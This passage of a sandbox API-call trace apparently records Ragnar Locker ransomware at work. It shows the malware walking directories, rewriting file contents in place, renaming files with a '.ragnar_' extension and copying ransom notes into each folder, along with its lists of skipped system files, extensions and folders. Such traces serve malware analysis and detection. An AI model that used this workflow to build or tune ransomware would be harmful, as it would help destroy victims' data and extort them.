hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.927] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.927] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.927] GetProcessHeap () returned 0x580000 [0075.927] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.927] CloseHandle (hObject=0x10c) returned 1 [0075.927] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" [0075.927] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.ragnar_FD7BD9FC" [0075.927] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.928] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.928] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.928] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0075.928] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned=".PNG" [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0075.928] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0075.928] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0075.928] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0075.928] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0075.928] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0075.928] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0075.928] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0075.928] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0075.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0075.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.929] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=31975) returned 1 [0075.929] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7cde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.929] GetProcessHeap () returned 0x580000 [0075.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.929] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0076.040] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0076.040] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.040] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0076.040] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce7, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7ce7, lpOverlapped=0x0) returned 1 [0076.060] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0076.060] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce7, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.060] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce7, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7ce7, lpOverlapped=0x0) returned 1 [0076.061] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.061] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0076.061] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7ce7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.061] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0076.061] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.061] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0076.061] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0076.062] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0076.062] GetProcessHeap () returned 0x580000 [0076.062] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0076.062] CloseHandle (hObject=0x10c) returned 1 [0076.062] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" [0076.062] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0076.062] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0076.062] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.062] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.063] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2=".") returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="..") returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="Windows") returned -1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="Windows.old") returned -1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="Tor browser") returned -1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="Internet Explorer") returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="Google") returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="Opera") returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="Opera Software") returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="Mozilla") returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="Mozilla Firefox") returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="$Recycle.Bin") returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="ProgramData") returned 1 [0076.063] lstrcmpiW (lpString1="RMNSQUE", lpString2="All Users") returned 1 [0076.063] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0076.063] lstrcpyW (in: lpString1=0x1eb638, lpString2="RMNSQUE" | out: lpString1="RMNSQUE") returned="RMNSQUE" [0076.063] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\" [0076.063] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\" [0076.063] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RGNR_FD7BD9FC.txt" [0076.063] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0076.067] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*" [0076.067] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0076.067] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.067] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0076.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f94cec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f94cec0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.067] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0076.067] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f94cec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f94cec0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.067] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0076.067] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0076.067] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.067] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0076.067] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0076.067] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f94cec0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f94cec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0076.067] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0076.067] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0076.067] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0076.067] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2=".") returned 1 [0076.067] lstrcmpiW (lpString1="RMNSQUE.ELM", lpString2="..") returned 1 [0076.067] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0076.068] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2=".") returned 1 [0076.068] lstrcmpiW (lpString1="RMNSQUE.INF", lpString2="..") returned 1 [0076.068] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0076.068] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0076.068] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0076.068] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0076.068] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0076.068] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f94cec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f94cec0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0076.068] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f94cec0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f94cec0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.068] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0076.068] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0076.068] lstrcpyW (in: lpString1=0x1eab70, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0076.068] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned=".GIF" [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0076.068] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0076.068] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0076.068] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0076.069] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0076.069] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0076.069] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0076.069] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0076.069] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0076.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0076.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" 